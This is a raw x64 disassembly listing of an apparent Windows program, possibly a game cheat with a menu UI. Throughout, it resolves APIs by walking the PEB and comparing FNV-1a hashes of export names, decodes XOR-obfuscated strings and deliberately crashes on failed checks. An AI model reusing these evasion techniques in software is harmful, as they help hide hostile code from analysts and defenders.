mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060d12
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060cf0
cmp r8d, 0xe80fd3a
je 0x140060d1c
test r9d, r9d
jne 0x140060cd0
mov rax, qword [rax]
jmp 0x140060ca0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xa0]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060dd7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060dd7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060dd2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060db0
cmp r8d, 0xa52bcaf9
je 0x140060ddc
test r9d, r9d
jne 0x140060d90
mov rax, qword [rax]
jmp 0x140060d60
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
lea rcx, [rbp + 0x2d0]
mov dword [0], 0xdead
call fcn.1400671f0
lea rcx, [rbp + 0x2f0]
call fcn.140068310
jmp 0x1400614d0
mov dword [rbp + 0xa4], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060eb7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060eb7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060eb2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060e90
cmp r8d, 0xcded1a85
je 0x140060ebc
test r9d, r9d
jne 0x140060e70
mov rax, qword [rax]
jmp 0x140060e40
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xa4]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xa8], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060f77
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060f77
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060f72
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060f50
cmp r8d, 0xe80fd3a
je 0x140060f7c
test r9d, r9d
jne 0x140060f30
mov rax, qword [rax]
jmp 0x140060f00
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xa8]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061037
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061037
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061032
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061010
cmp r8d, 0xa52bcaf9
je 0x14006103c
test r9d, r9d
jne 0x140060ff0
mov rax, qword [rax]
jmp 0x140060fc0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
lea rcx, [rbp + 0x2f0]
mov dword [0], 0xdead
call fcn.140068310
jmp 0x1400614d0
mov dword [rbp + 0xac], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061107
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061107
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061102
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400610e0
cmp r8d, 0xcded1a85
je 0x14006110c
test r9d, r9d
jne 0x1400610c0
mov rax, qword [rax]
jmp 0x140061090
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xac]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xb0], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400611c7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400611c7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400611c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400611a0
cmp r8d, 0xe80fd3a
je 0x1400611cc
test r9d, r9d
jne 0x140061180
mov rax, qword [rax]
jmp 0x140061150
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xb0]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14006128b
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14006128b
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061286
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061260
cmp r8d, 0xa52bcaf9
je 0x1400614ac
test r9d, r9d
jne 0x140061240
mov rax, qword [rax]
jmp 0x140061210
mov dword [rbp + 0xb4], esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061327
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061327
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061322
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061300
cmp r8d, 0xcded1a85
je 0x14006132c
test r9d, r9d
jne 0x1400612e0
mov rax, qword [rax]
jmp 0x1400612b0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xb4]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xb8], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400613e7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400613e7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400613e2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400613c0
cmp r8d, 0xe80fd3a
je 0x1400613ec
test r9d, r9d
jne 0x1400613a0
mov rax, qword [rax]
jmp 0x140061370
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xb8]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400614a7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400614a7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400614a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061480
cmp r8d, 0xa52bcaf9
je 0x1400614ac
test r9d, r9d
jne 0x140061460
mov rax, qword [rax]
jmp 0x140061430
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
xor esi, esi
mov eax, dword [0x14011b308]
lea rcx, [rsp + 0x62]
mov edi, dword [rbp - 0x64]
xor edx, edx
mov dword [rsp + 0x62], eax
movzx eax, word [0x14011b30c]
xor byte [rsp + 0x63], 0x33
xor byte [rsp + 0x64], 0x34
xor byte [rsp + 0x65], 0x35
mov word [rsp + 0x66], ax
xor byte [rsp + 0x66], 0x36
xor byte [rsp + 0x67], 0x37
mov dword [rbp - 0x64], edi
mov byte [rsp + 0x62], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x140061790
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1150]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0xbc], esi
mov rax, qword gs:[0x60]
mov dword [rbp - 0x64], edi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400615e7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400615e7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400615e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400615c0
cmp r8d, 0xcded1a85
je 0x1400615ec
test r9d, r9d
jne 0x1400615a0
mov rax, qword [rax]
jmp 0x140061570
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xbc]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xc0], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400616a7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400616a7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400616a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061680
cmp r8d, 0xe80fd3a
je 0x1400616ac
test r9d, r9d
jne 0x140061660
mov rax, qword [rax]
jmp 0x140061630
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xc0]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061767
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061767
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061762
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061740
cmp r8d, 0xa52bcaf9
je 0x14006176c
test r9d, r9d
jne 0x140061720
mov rax, qword [rax]
jmp 0x1400616f0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rcx, [rbp + 0x930]
call fcn.140058c50
cmp byte [0x14011c041], 0
movsd xmm0, qword [str.g_QG]
movzx eax, word [0x14011c040]
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], ax
je 0x1400617e5
xor byte [rbp - 0x6f], 0x33
xor byte [rbp - 0x6e], 0x34
xor byte [rbp - 0x6d], 0x35
xor byte [rbp - 0x6c], 0x36
xor byte [rbp - 0x6b], 0x37
xor byte [rbp - 0x6a], 0x38
xor byte [rbp - 0x69], 0x39
xor byte [rbp - 0x68], 0x3a
xor byte [rbp - 0x67], 0x3b
mov byte [rbp - 0x70], 0x55
movzx edx, bl
lea rcx, [rbp + 0x4d8]
call fcn.14006ade0
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140061800
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x4d8]
call fcn.14006ae00
lea rcx, [rbp + 0x4d8]
call fcn.140068200
mov rcx, rax
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
lea rcx, [rbp + 0x3d8]
call fcn.1400162c0
movss xmm0, dword [rax]
divss xmm0, dword [0x14011f348]
subss xmm0, dword [0x14011f428]
call fcn.140016070
movzx eax, byte [0x14011cad0]
lea rcx, [rbp - 0x12]
movsd xmm0, qword [str._VSEC_K:]
xor al, 0x3a
movsd qword [rbp - 0x12], xmm0
xor byte [rbp - 0x11], 0x33
xor byte [rbp - 0x10], 0x34
xor byte [rbp - 0xf], 0x35
xor byte [rbp - 0xe], 0x36
xor byte [rbp - 0xd], 0x37
xor byte [rbp - 0xc], 0x38
xor byte [rbp - 0xb], 0x39
mov byte [rbp - 0xa], al
mov byte [rbp - 0x12], 0x52
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movaps xmm0, xmmword [0x14011f6f0]
lea rdx, [rbp + 0x4a0]
xor ecx, ecx
movups xmmword [rbp + 0x4a0], xmm0
call fcn.140004ac0
movzx ecx, word [0x14011c718]
mov eax, dword [0x14011c714]
mov dword [rbp - 0x19], eax
movzx eax, byte [0x14011c71a]
xor byte [rbp - 0x18], 0x33
xor al, 0x38
xor byte [rbp - 0x17], 0x34
xor byte [rbp - 0x16], 0x35
mov word [rbp - 0x15], cx
xor cl, 0x36
xor byte [rbp - 0x14], 0x37
mov byte [rbp - 0x15], cl
lea rcx, [rbp - 0x19]
mov byte [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x13], al
call fcn.140033e90
mov rcx, qword [0x14018a620]
lea rdx, [rbp + 0x178]
add rcx, 0x4748
movsd xmm0, qword [rcx]
movsd qword [rbp + 0x100], xmm0
call fcn.1400020b0
xor ecx, ecx
call fcn.14000bce0
test al, al
je 0x14006198d
movss xmm2, dword [rbp + 0x17c]
lea rcx, [rbp + 0x3e0]
movss xmm1, dword [rbp + 0x178]
addss xmm2, dword [rbp + 0x104]
addss xmm1, dword [rbp + 0x100]
call fcn.140001e70
mov rdx, rax
lea rcx, [rbp + 0x100]
mov r8b, 1
call fcn.140013690
test al, al
je 0x14006198d
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018a61e], 1
mov ecx, r15d
call fcn.140004b20
movss xmm1, dword [0x14018a848]
xor ecx, ecx
mulss xmm1, dword [r13]
call fcn.140004bf0
mov ecx, r15d
call fcn.140004cc0
lea rcx, [rbp + 0x4d8]
call fcn.140068310
lea rcx, [rbp + 0x930]
call fcn.140068310
call fcn.1400118b0
jmp 0x140064c48
cmp byte [0x14018a61b], 0
je 0x140064cb7
xorps xmm2, xmm2
lea rcx, [rbp + 0x3e8]
xorps xmm1, xmm1
call fcn.140001e70
xorps xmm2, xmm2
lea rcx, [rbp + 0x3f0]
xorps xmm1, xmm1
mov rdi, rax
call fcn.140001e70
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.1400129a0
movss xmm0, dword [0x14011f454]
lea rcx, [rbp + 0x3f8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001e70
mov rcx, rax
xor edx, edx
call fcn.140012a30
lea rcx, [0x1401891f8]
call fcn.140068200
mov rcx, rax
lea rdx, [rsp + 0x60]
mov r8d, Ordinal_46
call fcn.14000ee20
call fcn.140012ab0
mov edx, 0xff
mov dword [rsp + 0x20], __WSAFDIsSet
mov r9d, edx
lea rcx, [rbp + 0x7c0]
mov r8d, edx
mov r12, rax
call fcn.140033790
mov rcx, rax
call fcn.140041600
movaps xmm2, xmm10
lea rcx, [rbp + 0x400]
movaps xmm1, xmm10
mov r15d, eax
call fcn.140001e70
xorps xmm2, xmm2
lea rcx, [rbp + 0x408]
xorps xmm1, xmm1
mov r14, rax
call fcn.140001e70
movss xmm2, dword [0x14011f418]
lea rcx, [rbp + 0x410]
movss xmm1, dword [0x14011f420]
mov rsi, rax
call fcn.140001e70
movss xmm2, dword [0x14011f47c]
lea rcx, [rbp + 0x418]
movss xmm1, dword [0x14011f480]
mov rdi, rax
call fcn.140001e70
mov rdx, qword [0x14018a998]
mov r9, rdi
mov dword [rsp + 0x30], r15d
mov r8, rax
mov qword [rsp + 0x28], r14
mov rcx, r12
mov qword [rsp + 0x20], rsi
call fcn.14002bc80
call fcn.140041ff0
xor edx, edx
lea rcx, [0x140053540]
call qword [sym.imp.USER32.dll_EnumWindows]
lea rdx, [rbp + 0x2be]
mov byte [rbp - 0x1e], 0
lea rcx, [rbp - 0x1e]
call fcn.1400662a0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140061b5e
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
xor edx, edx
mov rcx, rax
call fcn.1400532f0
test al, al
je 0x140061de5
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1170]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
xor r12d, r12d
mov dword [rbp + 0xc4], r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061c37
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061c37
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061c32
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061c10
cmp r8d, 0xcded1a85
je 0x140061c3c
test r9d, r9d
jne 0x140061bf0
mov rax, qword [rax]
jmp 0x140061bc0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xc4]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xc8], r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061cf7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061cf7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061cf2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061cd0
cmp r8d, 0xe80fd3a
je 0x140061cfc
test r9d, r9d
jne 0x140061cb0
mov rax, qword [rax]
jmp 0x140061c80
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xc8]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140061db7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140061db7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140061db2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140061d90
cmp r8d, 0xa52bcaf9
je 0x140061dbc
test r9d, r9d
jne 0x140061d70
mov rax, qword [rax]
jmp 0x140061d40
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
jmp 0x140064bf9
xorps xmm2, xmm2
lea rcx, [rbp + 0x4c0]
xorps xmm1, xmm1
call fcn.140001e70
mov rcx, rax
call fcn.140016820
lea rcx, [0x14011af58]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
mov rcx, qword [0x14018a838]
call fcn.140012520
xorps xmm2, xmm2
lea rcx, [rbp + 0x4c8]
xorps xmm1, xmm1
call fcn.140001e70
cmp dword [0x14018a834], 0
lea rdx, str.Main
mov r8, rax
sete cl
xor r9d, r9d
call fcn.140034960
xor r12d, r12d
test al, al
je 0x140061e5f
mov dword [0x14018a834], r12d
xorps xmm2, xmm2
lea rcx, [rbp + 0x4d0]
xorps xmm1, xmm1
call fcn.140001e70
cmp dword [0x14018a834], 1
lea rdx, str.Other
mov r8, rax
sete cl
xor r9d, r9d
call fcn.140034960
mov esi, 1
test al, al
je 0x140061e9c
mov dword [0x14018a834], esi
xorps xmm2, xmm2
lea rcx, [rbp + 0x528]
xorps xmm1, xmm1
call fcn.140001e70
cmp dword [0x14018a834], 2
lea rdx, str.Info
mov r8, rax
sete cl
xor r9d, r9d
call fcn.140034960
test al, al
je 0x140061ed8
mov dword [0x14018a834], 2
xorps xmm2, xmm2
lea rcx, [rbp + 0x318]
xorps xmm1, xmm1
call fcn.140001e70
cmp dword [0x14018a834], 3
lea rdx, str.Credits
mov r8, rax
sete cl
xor r9d, r9d
call fcn.140034960
test al, al
je 0x140061f14
mov dword [0x14018a834], 3
call fcn.1400125c0
call fcn.1400169c0
mov eax, dword [0x14018a834]
test eax, eax
jne 0x140062c83
call fcn.140041ff0
lea rcx, [0x14011afa0]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
movss xmm1, dword [0x14011f43c]
lea rcx, [rbp + 0x320]
movaps xmm2, xmm15
call fcn.140001e70
lea rdx, [rbp + 0xcc4]
mov byte [rbp - 0x1d], 0
